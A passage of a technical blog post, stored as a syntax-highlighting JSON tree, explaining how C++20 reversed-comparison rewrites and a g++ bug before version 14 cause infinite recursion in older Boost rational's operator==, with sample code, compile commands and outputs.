operator",{"type":24,"tag":327,"props":97241,"children":97242},{"style":346},[97243],{"type":29,"value":97244},"==(",{"type":24,"tag":327,"props":97246,"children":97247},{"style":334},[97248],{"type":29,"value":17202},{"type":24,"tag":327,"props":97250,"children":97251},{"style":1639},[97252],{"type":29,"value":13486},{"type":24,"tag":327,"props":97254,"children":97255},{"style":334},[97256],{"type":29,"value":8716},{"type":24,"tag":327,"props":97258,"children":97259},{"style":356},[97260],{"type":29,"value":10999},{"type":24,"tag":327,"props":97262,"children":97263},{"style":346},[97264],{"type":29,"value":1674},{"type":24,"tag":327,"props":97266,"children":97267},{"style":334},[97268],{"type":29,"value":17202},{"type":24,"tag":327,"props":97270,"children":97271},{"style":346},[97272],{"type":29,"value":497},{"type":24,"tag":327,"props":97274,"children":97275},{"class":329,"line":529},[97276,97281,97286,97291,97296],{"type":24,"tag":327,"props":97277,"children":97278},{"style":346},[97279],{"type":29,"value":97280},"        std::cout ",{"type":24,"tag":327,"props":97282,"children":97283},{"style":381},[97284],{"type":29,"value":97285},"\u003C\u003C",{"type":24,"tag":327,"props":97287,"children":97288},{"style":844},[97289],{"type":29,"value":97290}," \"clang++ resolved member\"",{"type":24,"tag":327,"props":97292,"children":97293},{"style":381},[97294],{"type":29,"value":97295}," \u003C\u003C",{"type":24,"tag":327,"props":97297,"children":97298},{"style":346},[97299],{"type":29,"value":97300}," std::endl;\n",{"type":24,"tag":327,"props":97302,"children":97303},{"class":329,"line":538},[97304,97308,97312],{"type":24,"tag":327,"props":97305,"children":97306},{"style":425},[97307],{"type":29,"value":4944},{"type":24,"tag":327,"props":97309,"children":97310},{"style":334},[97311],{"type":29,"value":9722},{"type":24,"tag":327,"props":97313,"children":97314},{"style":346},[97315],{"type":29,"value":405},{"type":24,"tag":327,"props":97317,"children":97318},{"class":329,"line":547},[97319],{"type":24,"tag":327,"props":97320,"children":97321},{"style":346},[97322],{"type":29,"value":535},{"type":24,"tag":327,"props":97324,"children":97325},{"class":329,"line":557},[97326],{"type":24,"tag":327,"props":97327,"children":97328},{"style":346},[97329],{"type":29,"value":24092},{"type":24,"tag":327,"props":97331,"children":97332},{"class":329,"line":586},[97333],{"type":24,"tag":327,"props":97334,"children":97335},{"emptyLinePlaceholder":16},[97336],{"type":29,"value":544},{"type":24,"tag":327,"props":97338,"children":97339},{"class":329,"line":1017},[97340,97344,97348,97352,97357,97361,97365,97369],{"type":24,"tag":327,"props":97341,"children":97342},{"style":334},[97343],{"type":29,"value":72940},{"type":24,"tag":327,"props":97345,"children":97346},{"style":346},[97347],{"type":29,"value":4927},{"type":24,"tag":327,"props":97349,"children":97350},{"style":334},[97351],{"type":29,"value":77135},{"type":24,"tag":327,"props":97353,"children":97354},{"style":1639},[97355],{"type":29,"value":97356}," Arg",{"type":24,"tag":327,"props":97358,"children":97359},{"style":346},[97360],{"type":29,"value":2744},{"type":24,"tag":327,"props":97362,"children":97363},{"style":334},[97364],{"type":29,"value":77135},{"type":24,"tag":327,"props":97366,"children":97367},{"style":1639},[97368],{"type":29,"value":97175},{"type":24,"tag":327,"props":97370,"children":97371},{"style":346},[97372],{"type":29,"value":9571},{"type":24,"tag":327,"props":97374,"children":97375},{"class":329,"line":1026},[97376,97380,97384,97388,97392,97396,97400,97405,97409,97413,97417,97421,97425,97429,97433,97438],{"type":24,"tag":327,"props":97377,"children":97378},{"style":334},[97379],{"type":29,"value":36394},{"type":24,"tag":327,"props":97381,"children":97382},{"style":334},[97383],{"type":29,"value":97239},{"type":24,"tag":327,"props":97385,"children":97386},{"style":346},[97387],{"type":29,"value":97244},{"type":24,"tag":327,"props":97389,"children":97390},{"style":334},[97391],{"type":29,"value":17202},{"type":24,"tag":327,"props":97393,"children":97394},{"style":1639},[97395],{"type":29,"value":97191},{"type":24,"tag":327,"props":97397,"children":97398},{"style":346},[97399],{"type":29,"value":1596},{"type":24,"tag":327,"props":97401,"children":97402},{"style":1639},[97403],{"type":29,"value":97404},"IntType",{"type":24,"tag":327,"props":97406,"children":97407},{"style":346},[97408],{"type":29,"value":438},{"type":24,"tag":327,"props":97410,"children":97411},{"style":334},[97412],{"type":29,"value":8716},{"type":24,"tag":327,"props":97414,"children":97415},{"style":356},[97416],{"type":29,"value":96563},{"type":24,"tag":327,"props":97418,"children":97419},{"style":346},[97420],{"type":29,"value":2744},{"type":24,"tag":327,"props":97422,"children":97423},{"style":334},[97424],{"type":29,"value":17202},{"type":24,"tag":327,"props":97426,"children":97427},{"style":1639},[97428],{"type":29,"value":97356},{"type":24,"tag":327,"props":97430,"children":97431},{"style":334},[97432],{"type":29,"value":8716},{"type":24,"tag":327,"props":97434,"children":97435},{"style":356},[97436],{"type":29,"value":97437}," b",{"type":24,"tag":327,"props":97439,"children":97440},{"style":346},[97441],{"type":29,"value":364},{"type":24,"tag":327,"props":97443,"children":97444},{"class":329,"line":1048},[97445,97450,97454,97459,97463],{"type":24,"tag":327,"props":97446,"children":97447},{"style":346},[97448],{"type":29,"value":97449},"    std::cout ",{"type":24,"tag":327,"props":97451,"children":97452},{"style":381},[97453],{"type":29,"value":97285},{"type":24,"tag":327,"props":97455,"children":97456},{"style":844},[97457],{"type":29,"value":97458}," \"g++ \u003C14 resolved non-member\"",{"type":24,"tag":327,"props":97460,"children":97461},{"style":381},[97462],{"type":29,"value":97295},{"type":24,"tag":327,"props":97464,"children":97465},{"style":346},[97466],{"type":29,"value":97300},{"type":24,"tag":327,"props":97468,"children":97469},{"class":329,"line":1067},[97470,97474,97478],{"type":24,"tag":327,"props":97471,"children":97472},{"style":425},[97473],{"type":29,"value":6023},{"type":24,"tag":327,"props":97475,"children":97476},{"style":334},[97477],{"type":29,"value":6776},{"type":24,"tag":327,"props":97479,"children":97480},{"style":346},[97481],{"type":29,"value":405},{"type":24,"tag":327,"props":97483,"children":97484},{"class":329,"line":1075},[97485],{"type":24,"tag":327,"props":97486,"children":97487},{"style":346},[97488],{"type":29,"value":592},{"type":24,"tag":327,"props":97490,"children":97491},{"class":329,"line":1084},[97492],{"type":24,"tag":327,"props":97493,"children":97494},{"emptyLinePlaceholder":16},[97495],{"type":29,"value":544},{"type":24,"tag":327,"props":97497,"children":97498},{"class":329,"line":1100},[97499,97503,97508],{"type":24,"tag":327,"props":97500,"children":97501},{"style":334},[97502],{"type":29,"value":337},{"type":24,"tag":327,"props":97504,"children":97505},{"style":340},[97506],{"type":29,"value":97507}," main",{"type":24,"tag":327,"props":97509,"children":97510},{"style":346},[97511],{"type":29,"value":9697},{"type":24,"tag":327,"props":97513,"children":97514},{"class":329,"line":1128},[97515,97520,97524,97528,97532],{"type":24,"tag":327,"props":97516,"children":97517},{"style":346},[97518],{"type":29,"value":97519},"    rational",{"type":24,"tag":327,"props":97521,"children":97522},{"style":381},[97523],{"type":29,"value":1596},{"type":24,"tag":327,"props":97525,"children":97526},{"style":334},[97527],{"type":29,"value":337},{"type":24,"tag":327,"props":97529,"children":97530},{"style":381},[97531],{"type":29,"value":438},{"type":24,"tag":327,"props":97533,"children":97534},{"style":346},[97535],{"type":29,"value":97536}," r;\n",{"type":24,"tag":327,"props":97538,"children":97539},{"class":329,"line":1148},[97540,97544,97549,97553,97557],{"type":24,"tag":327,"props":97541,"children":97542},{"style":425},[97543],{"type":29,"value":6023},{"type":24,"tag":327,"props":97545,"children":97546},{"style":346},[97547],{"type":29,"value":97548}," r ",{"type":24,"tag":327,"props":97550,"children":97551},{"style":381},[97552],{"type":29,"value":642},{"type":24,"tag":327,"props":97554,"children":97555},{"style":397},[97556],{"type":29,"value":6695},{"type":24,"tag":327,"props":97558,"children":97559},{"style":346},[97560],{"type":29,"value":405},{"type":24,"tag":327,"props":97562,"children":97563},{"class":329,"line":1176},[97564],{"type":24,"tag":327,"props":97565,"children":97566},{"style":346},[97567],{"type":29,"value":592},{"type":24,"tag":1380,"props":97569,"children":97570},{},[97571],{"type":24,"tag":179,"props":97572,"children":97573},{},[97574],{"type":29,"value":97575},"Compile with g++\u003C14:",{"type":24,"tag":317,"props":97577,"children":97579},{"code":97578,"language":11814,"meta":7,"className":11815,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[97580],{"type":24,"tag":284,"props":97581,"children":97582},{"__ignoreMap":7},[97583],{"type":24,"tag":327,"props":97584,"children":97585},{"class":329,"line":330},[97586,97591,97596,97601,97606,97610,97615],{"type":24,"tag":327,"props":97587,"children":97588},{"style":340},[97589],{"type":29,"value":97590},"g++",{"type":24,"tag":327,"props":97592,"children":97593},{"style":844},[97594],{"type":29,"value":97595}," -std=c++17",{"type":24,"tag":327,"props":97597,"children":97598},{"style":844},[97599],{"type":29,"value":97600}," main.cpp",{"type":24,"tag":327,"props":97602,"children":97603},{"style":844},[97604],{"type":29,"value":97605}," -o",{"type":24,"tag":327,"props":97607,"children":97608},{"style":844},[97609],{"type":29,"value":37387},{"type":24,"tag":327,"props":97611,"children":97612},{"style":346},[97613],{"type":29,"value":97614}," && ",{"type":24,"tag":327,"props":97616,"children":97617},{"style":340},[97618],{"type":29,"value":97619},"./test\n",{"type":24,"tag":25,"props":97621,"children":97622},{},[97623],{"type":29,"value":97624},"Output (on g++ 11.4):",{"type":24,"tag":317,"props":97626,"children":97628},{"code":97627},"g++ \u003C14 resolved non-member\n",[97629],{"type":24,"tag":284,"props":97630,"children":97631},{"__ignoreMap":7},[97632],{"type":29,"value":97627},{"type":24,"tag":1380,"props":97634,"children":97635},{},[97636],{"type":24,"tag":179,"props":97637,"children":97638},{},[97639],{"type":29,"value":97640},"Compile with clang++:",{"type":24,"tag":317,"props":97642,"children":97644},{"code":97643,"language":11814,"meta":7,"className":11815,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[97645],{"type":24,"tag":284,"props":97646,"children":97647},{"__ignoreMap":7},[97648],{"type":24,"tag":327,"props":97649,"children":97650},{"class":329,"line":330},[97651,97656,97660,97664,97668,97672,97676],{"type":24,"tag":327,"props":97652,"children":97653},{"style":340},[97654],{"type":29,"value":97655},"clang++",{"type":24,"tag":327,"props":97657,"children":97658},{"style":844},[97659],{"type":29,"value":97595},{"type":24,"tag":327,"props":97661,"children":97662},{"style":844},[97663],{"type":29,"value":97600},{"type":24,"tag":327,"props":97665,"children":97666},{"style":844},[97667],{"type":29,"value":97605},{"type":24,"tag":327,"props":97669,"children":97670},{"style":844},[97671],{"type":29,"value":37387},{"type":24,"tag":327,"props":97673,"children":97674},{"style":346},[97675],{"type":29,"value":97614},{"type":24,"tag":327,"props":97677,"children":97678},{"style":340},[97679],{"type":29,"value":97619},{"type":24,"tag":25,"props":97681,"children":97682},{},[97683],{"type":29,"value":97684},"Output:",{"type":24,"tag":317,"props":97686,"children":97688},{"code":97687},"clang++ resolved member\n",[97689],{"type":24,"tag":284,"props":97690,"children":97691},{"__ignoreMap":7},[97692],{"type":29,"value":97687},{"type":24,"tag":25,"props":97694,"children":97695},{},[97696],{"type":29,"value":97697},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":24,"tag":68,"props":97699,"children":97700},{},[],{"type":24,"tag":228,"props":97702,"children":97704},{"id":97703},"part-ii-c20s-symmetric-comparison-feature",[97705],{"type":29,"value":97706},"Part II: C++20’s Symmetric Comparison Feature",{"type":24,"tag":235,"props":97708,"children":97710},{"id":97709},"what-changed-in-c20",[97711],{"type":29,"value":97712},"What Changed in C++20?",{"type":24,"tag":25,"props":97714,"children":97715},{},[97716,97718,97731,97732,97737],{"type":29,"value":97717},"C++20 introduced the ",{"type":24,"tag":57,"props":97719,"children":97722},{"href":97720,"rel":97721},"https://en.cppreference.com/w/cpp/language/operator_comparison",[61],[97723,97725],{"type":29,"value":97724},"spaceship operator ",{"type":24,"tag":284,"props":97726,"children":97728},{"className":97727},[],[97729],{"type":29,"value":97730},"\u003C=>",{"type":29,"value":1323},{"type":24,"tag":188,"props":97733,"children":97734},{},[97735],{"type":29,"value":97736},"defaulted comparison rewrites",{"type":29,"value":66},{"type":24,"tag":25,"props":97739,"children":97740},{},[97741,97743,97748],{"type":29,"value":97742},"When you define a two-argument ",{"type":24,"tag":284,"props":97744,"children":97746},{"className":97745},[],[97747],{"type":29,"value":96982},{"type":29,"value":97749},", C++20 may implicitly define the \"reversed\" version:",{"type":24,"tag":1380,"props":97751,"children":97752},{},[97753,97764],{"type":24,"tag":179,"props":97754,"children":97755},{},[97756,97758],{"type":29,"value":97757},"If you define: ",{"type":24,"tag":284,"props":97759,"children":97761},{"className":97760},[],[97762],{"type":29,"value":97763},"bool operator==(T1, T2);",{"type":24,"tag":179,"props":97765,"children":97766},{},[97767,97769,97775],{"type":29,"value":97768},"Then ",{"type":24,"tag":284,"props":97770,"children":97772},{"className":97771},[],[97773],{"type":29,"value":97774},"T2 == T1",{"type":29,"value":97776}," may call the same function by reversing the arguments.",{"type":24,"tag":25,"props":97778,"children":97779},{},[97780,97782,97787,97788,97793,97795,97801,97803,97808],{"type":29,"value":97781},"This rewrite is ",{"type":24,"tag":188,"props":97783,"children":97784},{},[97785],{"type":29,"value":97786},"recursive",{"type":29,"value":3459},{"type":24,"tag":284,"props":97789,"children":97791},{"className":97790},[],[97792],{"type":29,"value":96974},{"type":29,"value":97794}," becomes ",{"type":24,"tag":284,"props":97796,"children":97798},{"className":97797},[],[97799],{"type":29,"value":97800},"b == a",{"type":29,"value":97802},", which becomes ",{"type":24,"tag":284,"props":97804,"children":97806},{"className":97805},[],[97807],{"type":29,"value":96974},{"type":29,"value":97809}," again, and so on — if not handled carefully.",{"type":24,"tag":25,"props":97811,"children":97812},{},[97813],{"type":29,"value":97814},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":24,"tag":68,"props":97816,"children":97817},{},[],{"type":24,"tag":228,"props":97819,"children":97821},{"id":97820},"part-iii-the-boost-trapdoor",[97822],{"type":29,"value":97823},"Part III: The Boost Trapdoor",{"type":24,"tag":25,"props":97825,"children":97826},{},[97827,97829,97835,97837,97842],{"type":29,"value":97828},"The old Boost ",{"type":24,"tag":284,"props":97830,"children":97832},{"className":97831},[],[97833],{"type":29,"value":97834},"rational",{"type":29,"value":97836}," class (prior to v1.75) defined both member function and non-member function of ",{"type":24,"tag":284,"props":97838,"children":97840},{"className":97839},[],[97841],{"type":29,"value":96982},{"type":29,"value":1636},{"type":24,"tag":317,"props":97844,"children":97846},{"code":97845,"language":35820,"meta":7,"className":35818,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n    ...\npublic:\n    ...\n    \n    template \u003Cclass T>\n    BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n    {\n       return ((den == IntType(1)) && (num == i));\n    }\n    ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n      return a == b; \n}\n",[97847],{"type":24,"tag":284,"props":97848,"children":97849},{"__ignoreMap":7},[97850,97885,97908,97920,97927,97934,97941,97948,97955,97978,98066,98073,98124,98131,98138,98145,98152,98187,98195,98223,98262,98327,98334,98354],{"type":24,"tag":327,"props":97851,"children":97852},{"class":329,"line":330},[97853,97857,97861,97865,97869,97873,97877,97881],{"type":24,"tag":327,"props":97854,"children":97855},{"style":334},[97856],{"type":29,"value":72940},{"type":24,"tag":327,"props":97858,"children":97859},{"style":346},[97860],{"type":29,"value":4927},{"type":24,"tag":327,"props":97862,"children":97863},{"style":334},[97864],{"type":29,"value":77135},{"type":24,"tag":327,"props":97866,"children":97867},{"style":1639},[97868],{"type":29,"value":97356},{"type":24,"tag":327,"props":97870,"children":97871},{"style":346},[97872],{"type":29,"value":2744},{"type":24,"tag":327,"props":97874,"children":97875},{"style":334},[97876],{"type":29,"value":77135},{"type":24,"tag":327,"props":97878,"children":97879},{"style":1639},[97880],{"type":29,"value":97175},{"type":24,"tag":327,"props":97882,"children":97883},{"style":346},[97884],{"type":29,"value":9571},{"type":24,"tag":327,"props":97886,"children":97887},{"class":329,"line":367},[97888,97892,97896,97900,97904],{"type":24,"tag":327,"props":97889,"children":97890},{"style":334},[97891],{"type":29,"value":72940},{"type":24,"tag":327,"props":97893,"children":97894},{"style":346},[97895],{"type":29,"value":4927},{"type":24,"tag":327,"props":97897,"children":97898},{"style":334},[97899],{"type":29,"value":97170},{"type":24,"tag":327,"props":97901,"children":97902},{"style":1639},[97903],{"type":29,"value":97175},{"type":24,"tag":327,"props":97905,"children":97906},{"style":346},[97907],{"type":29,"value":9571},{"type":24,"tag":327,"props":97909,"children":97910},{"class":329,"line":408},[97911,97915],{"type":24,"tag":327,"props":97912,"children":97913},{"style":334},[97914],{"type":29,"value":77135},{"type":24,"tag":327,"props":97916,"children":97917},{"style":1639},[97918],{"type":29,"value":97919}," rational\n",{"type":24,"tag":327,"props":97921,"children":97922},{"class":329,"line":421},[97923],{"type":24,"tag":327,"props":97924,"children":97925},{"style":346},[97926],{"type":29,"value":18427},{"type":24,"tag":327,"props":97928,"children":97929},{"class":329,"line":450},[97930],{"type":24,"tag":327,"props":97931,"children":97932},{"style":346},[97933],{"type":29,"value":1697},{"type":24,"tag":327,"props":97935,"children":97936},{"class":329,"line":481},[97937],{"type":24,"tag":327,"props":97938,"children":97939},{"style":334},[97940],{"type":29,"value":97203},{"type":24,"tag":327,"props":97942,"children":97943},{"class":329,"line":500},[97944],{"type":24,"tag":327,"props":97945,"children":97946},{"style":346},[97947],{"type":29,"value":1697},{"type":24,"tag":327,"props":97949,"children":97950},{"class":329,"line":529},[97951],{"type":24,"tag":327,"props":97952,"children":97953},{"style":346},[97954],{"type":29,"value":68509},{"type":24,"tag":327,"props":97956,"children":97957},{"class":329,"line":538},[97958,97962,97966,97970,97974],{"type":24,"tag":327,"props":97959,"children":97960},{"style":334},[97961],{"type":29,"value":97211},{"type":24,"tag":327,"props":97963,"children":97964},{"style":346},[97965],{"type":29,"value":4927},{"type":24,"tag":327,"props":97967,"children":97968},{"style":334},[97969],{"type":29,"value":77135},{"type":24,"tag":327,"props":97971,"children":97972},{"style":1639},[97973],{"type":29,"value":13486},{"type":24,"tag":327,"props":97975,"children":97976},{"style":346},[97977],{"type":29,"value":9571},{"type":24,"tag":327,"props":97979,"children":97980},{"class":329,"line":547},[97981,97986,97990,97995,97999,98003,98007,98012,98016,98020,98024,98028,98032,98036,98041,98045,98049,98053,98057,98061],{"type":24,"tag":327,"props":97982,"children":97983},{"style":346},[97984],{"type":29,"value":97985},"    BOOST_CONSTEXPR ",{"type":24,"tag":327,"props":97987,"children":97988},{"style":334},[97989],{"type":29,"value":97170},{"type":24,"tag":327,"props":97991,"children":97992},{"style":346},[97993],{"type":29,"value":97994}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":24,"tag":327,"props":97996,"children":97997},{"style":1639},[97998],{"type":29,"value":13555},{"type":24,"tag":327,"props":98000,"children":98001},{"style":346},[98002],{"type":29,"value":2744},{"type":24,"tag":327,"props":98004,"children":98005},{"style":1639},[98006],{"type":29,"value":97404},{"type":24,"tag":327,"props":98008,"children":98009},{"style":346},[98010],{"type":29,"value":98011},">::",{"type":24,"tag":327,"props":98013,"children":98014},{"style":1639},[98015],{"type":29,"value":45865},{"type":24,"tag":327,"props":98017,"children":98018},{"style":346},[98019],{"type":29,"value":2744},{"type":24,"tag":327,"props":98021,"children":98022},{"style":334},[98023],{"type":29,"value":36394},{"type":24,"tag":327,"props":98025,"children":98026},{"style":346},[98027],{"type":29,"value":98011},{"type":24,"tag":327,"props":98029,"children":98030},{"style":1639},[98031],{"type":29,"value":39467},{"type":24,"tag":327,"props":98033,"children":98034},{"style":334},[98035],{"type":29,"value":97239},{"type":24,"tag":327,"props":98037,"children":98038},{"style":346},[98039],{"type":29,"value":98040},"== (",{"type":24,"tag":327,"props":98042,"children":98043},{"style":334},[98044],{"type":29,"value":17202},{"type":24,"tag":327,"props":98046,"children":98047},{"style":1639},[98048],{"type":29,"value":13486},{"type":24,"tag":327,"props":98050,"children":98051},{"style":334},[98052],{"type":29,"value":8716},{"type":24,"tag":327,"props":98054,"children":98055},{"style":356},[98056],{"type":29,"value":10999},{"type":24,"tag":327,"props":98058,"children":98059},{"style":346},[98060],{"type":29,"value":1674},{"type":24,"tag":327,"props":98062,"children":98063},{"style":334},[98064],{"type":29,"value":98065},"const\n",{"type":24,"tag":327,"props":98067,"children":98068},{"class":329,"line":557},[98069],{"type":24,"tag":327,"props":98070,"children":98071},{"style":346},[98072],{"type":29,"value":35895},{"type":24,"tag":327,"props":98074,"children":98075},{"class":329,"line":586},[98076,98081,98086,98090,98094,98098,98102,98106,98110,98115,98119],{"type":24,"tag":327,"props":98077,"children":98078},{"style":425},[98079],{"type":29,"value":98080},"       return",{"type":24,"tag":327,"props":98082,"children":98083},{"style":346},[98084],{"type":29,"value":98085}," ((den ",{"type":24,"tag":327,"props":98087,"children":98088},{"style":381},[98089],{"type":29,"value":642},{"type":24,"tag":327,"props":98091,"children":98092},{"style":340},[98093],{"type":29,"value":97175},{"type":24,"tag":327,"props":98095,"children":98096},{"style":346},[98097],{"type":29,"value":349},{"type":24,"tag":327,"props":98099,"children":98100},{"style":397},[98101],{"type":29,"value":3238},{"type":24,"tag":327,"props":98103,"children":98104},{"style":346},[98105],{"type":29,"value":16395},{"type":24,"tag":327,"props":98107,"children":98108},{"style":381},[98109],{"type":29,"value":79922},{"type":24,"tag":327,"props":98111,"children":98112},{"style":346},[98113],{"type":29,"value":98114}," (num ",{"type":24,"tag":327,"props":98116,"children":98117},{"style":381},[98118],{"type":29,"value":642},{"type":24,"tag":327,"props":98120,"children":98121},{"style":346},[98122],{"type":29,"value":98123}," i));\n",{"type":24,"tag":327,"props":98125,"children":98126},{"class":329,"line":1017},[98127],{"type":24,"tag":327,"props":98128,"children":98129},{"style":346},[98130],{"type":29,"value":535},{"type":24,"tag":327,"props":98132,"children":98133},{"class":329,"line":1026},[98134],{"type":24,"tag":327,"props":98135,"children":98136},{"style":346},[98137],{"type":29,"value":1697},{"type":24,"tag":327,"props":98139,"children":98140},{"class":329,"line":1048},[98141],{"type":24,"tag":327,"props":98142,"children":98143},{"style":346},[98144],{"type":29,"value":592},{"type":24,"tag":327,"props":98146,"children":98147},{"class":329,"line":1067},[98148],{"type":24,"tag":327,"props":98149,"children":98150},{"emptyLinePlaceholder":16},[98151],{"type":29,"value":544},{"type":24,"tag":327,"props":98153,"children":98154},{"class":329,"line":1075},[98155,98159,98163,98167,98171,98175,98179,98183],{"type":24,"tag":327,"props":98156,"children":98157},{"style":334},[98158],{"type":29,"value":72940},{"type":24,"tag":327,"props":98160,"children":98161},{"style":346},[98162],{"type":29,"value":4927},{"type":24,"tag":327,"props":98164,"children":98165},{"style":334},[98166],{"type":29,"value":77135},{"type":24,"tag":327,"props":98168,"children":98169},{"style":1639},[98170],{"type":29,"value":97356},{"type":24,"tag":327,"props":98172,"children":98173},{"style":346},[98174],{"type":29,"value":2744},{"type":24,"tag":327,"props":98176,"children":98177},{"style":334},[98178],{"type":29,"value":77135},{"type":24,"tag":327,"props":98180,"children":98181},{"style":1639},[98182],{"type":29,"value":97175},{"type":24,"tag":327,"props":98184,"children":98185},{"style":346},[98186],{"type":29,"value":9571},{"type":24,"tag":327,"props":98188,"children":98189},{"class":329,"line":1084},[98190],{"type":24,"tag":327,"props":98191,"children":98192},{"style":346},[98193],{"type":29,"value":98194},"BOOST_CONSTEXPR\n",{"type":24,"tag":327,"props":98196,"children":98197},{"class":329,"line":1100},[98198,98203,98208,98213,98218],{"type":24,"tag":327,"props":98199,"children":98200},{"style":334},[98201],{"type":29,"value":98202},"inline",{"type":24,"tag":327,"props":98204,"children":98205},{"style":334},[98206],{"type":29,"value":98207}," typename",{"type":24,"tag":327,"props":98209,"children":98210},{"style":346},[98211],{"type":29,"value":98212}," boost::",{"type":24,"tag":327,"props":98214,"children":98215},{"style":1639},[98216],{"type":29,"value":98217},"enable_if_c",{"type":24,"tag":327,"props":98219,"children":98220},{"style":381},[98221],{"type":29,"value":98222}," \u003C\n",{"type":24,"tag":327,"props":98224,"children":98225},{"class":329,"line":1128},[98226,98231,98236,98240,98244,98249,98253,98257],{"type":24,"tag":327,"props":98227,"children":98228},{"style":346},[98229],{"type":29,"value":98230},"   rational_detail::is_compatible_integer\u003C",{"type":24,"tag":327,"props":98232,"children":98233},{"style":1639},[98234],{"type":29,"value":98235},"Arg",{"type":24,"tag":327,"props":98237,"children":98238},{"style":346},[98239],{"type":29,"value":2744},{"type":24,"tag":327,"props":98241,"children":98242},{"style":1639},[98243],{"type":29,"value":97404},{"type":24,"tag":327,"props":98245,"children":98246},{"style":346},[98247],{"type":29,"value":98248},">::value, ",{"type":24,"tag":327,"props":98250,"children":98251},{"style":334},[98252],{"type":29,"value":36394},{"type":24,"tag":327,"props":98254,"children":98255},{"style":381},[98256],{"type":29,"value":438},{"type":24,"tag":327,"props":98258,"children":98259},{"style":346},[98260],{"type":29,"value":98261},"::type\n",{"type":24,"tag":327,"props":98263,"children":98264},{"class":329,"line":1148},[98265,98270,98275,98279,98283,98287,98291,98295,98299,98303,98307,98311,98315,98319,98323],{"type":24,"tag":327,"props":98266,"children":98267},{"style":334},[98268],{"type":29,"value":98269},"   operator",{"type":24,"tag":327,"props":98271,"children":98272},{"style":346},[98273],{"type":29,"value":98274}," == (",{"type":24,"tag":327,"props":98276,"children":98277},{"style":334},[98278],{"type":29,"value":17202},{"type":24,"tag":327,"props":98280,"children":98281},{"style":1639},[98282],{"type":29,"value":97356},{"type":24,"tag":327,"props":98284,"children":98285},{"style":334},[98286],{"type":29,"value":8716},{"type":24,"tag":327,"props":98288,"children":98289},{"style":356},[98290],{"type":29,"value":97437},{"type":24,"tag":327,"props":98292,"children":98293},{"style":346},[98294],{"type":29,"value":2744},{"type":24,"tag":327,"props":98296,"children":98297},{"style":334},[98298],{"type":29,"value":17202},{"type":24,"tag":327,"props":98300,"children":98301},{"style":1639},[98302],{"type":29,"value":97191},{"type":24,"tag":327,"props":98304,"children":98305},{"style":346},[98306],{"type":29,"value":1596},{"type":24,"tag":327,"props":98308,"children":98309},{"style":1639},[98310],{"type":29,"value":97404},{"type":24,"tag":327,"props":98312,"children":98313},{"style":346},[98314],{"type":29,"value":438},{"type":24,"tag":327,"props":98316,"children":98317},{"style":334},[98318],{"type":29,"value":8716},{"type":24,"tag":327,"props":98320,"children":98321},{"style":356},[98322],{"type":29,"value":96563},{"type":24,"tag":327,"props":98324,"children":98325},{"style":346},[98326],{"type":29,"value":852},{"type":24,"tag":327,"props":98328,"children":98329},{"class":329,"line":1176},[98330],{"type":24,"tag":327,"props":98331,"children":98332},{"style":346},[98333],{"type":29,"value":18427},{"type":24,"tag":327,"props":98335,"children":98336},{"class":329,"line":1184},[98337,98341,98345,98349],{"type":24,"tag":327,"props":98338,"children":98339},{"style":425},[98340],{"type":29,"value":46070},{"type":24,"tag":327,"props":98342,"children":98343},{"style":346},[98344],{"type":29,"value":24277},{"type":24,"tag":327,"props":98346,"children":98347},{"style":381},[98348],{"type":29,"value":642},{"type":24,"tag":327,"props":98350,"children":98351},{"style":346},[98352],{"type":29,"value":98353}," b; \n",{"type":24,"tag":327,"props":98355,"children":98356},{"class":329,"line":1192},[98357],{"type":24,"tag":327,"props":98358,"children":98359},{"style":346},[98360],{"type":29,"value":592},{"type":24,"tag":25,"props":98362,"children":98363},{},[98364,98366,98372],{"type":29,"value":98365},"This was designed under C++17 semantics. Back then, ",{"type":24,"tag":284,"props":98367,"children":98369},{"className":98368},[],[98370],{"type":29,"value":98371},"rhs == lhs",{"type":29,"value":98373}," would fall back to member overloads if available. All good.",{"type":24,"tag":25,"props":98375,"children":98376},{},[98377,98379,98384,98385,98391],{"type":29,"value":98378},"But under ",{"type":24,"tag":284,"props":98380,"children":98382},{"className":98381},[],[98383],{"type":29,"value":96928},{"type":29,"value":2885},{"type":24,"tag":284,"props":98386,"children":98388},{"className":98387},[],[98389],{"type":29,"value":98390},"G++ \u003C 14",{"type":29,"value":1636},{"type":24,"tag":1380,"props":98393,"children":98394},{},[98395,98400,98405,98410],{"type":24,"tag":179,"props":98396,"children":98397},{},[98398],{"type":29,"value":98399},"G++ incorrectly chooses this non-member operator first",{"type":24,"tag":179,"props":98401,"children":98402},{},[98403],{"type":29,"value":98404},"C++20 reverses the comparison",{"type":24,"tag":179,"props":98406,"children":98407},{},[98408],{"type":29,"value":98409},"Which calls the same function again with arguments flipped",{"type":24,"tag":179,"props":98411,"children":98412},{},[98413],{"type":29,"value":98414},"And so on...",{"type":24,"tag":25,"props":98416,"children":98417},{},[98418,98420,98425],{"type":29,"value":98419},"This creates ",{"type":24,"tag":188,"props":98421,"children":98422},{},[98423],{"type":29,"value":98424},"infinite recursion",{"type":29,"value":66},{"type":24,"tag":25,"props":98427,"children":98428},{},[98429],{"type":29,"value":98430},"A minimal example:",{"type":24,"tag":317,"props":98432,"children":98434},{"code":98433,"language":35820,"meta":7,"className":35818,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n    boost::rational\u003Cint> r;\n    return r == 0;\n}\n",[98435],{"type":24,"tag":284,"props":98436,"children":98437},{"__ignoreMap":7},[98438,98446,98458,98465,98480,98504,98527],{"type":24,"tag":327,"props":98439,"children":98440},{"class":329,"line":330},[98441],{"type":24,"tag":327,"props":98442,"children":98443},{"style":551},[98444],{"type":29,"value":98445},"// g++ -std=c++20 -o crash main.cpp && 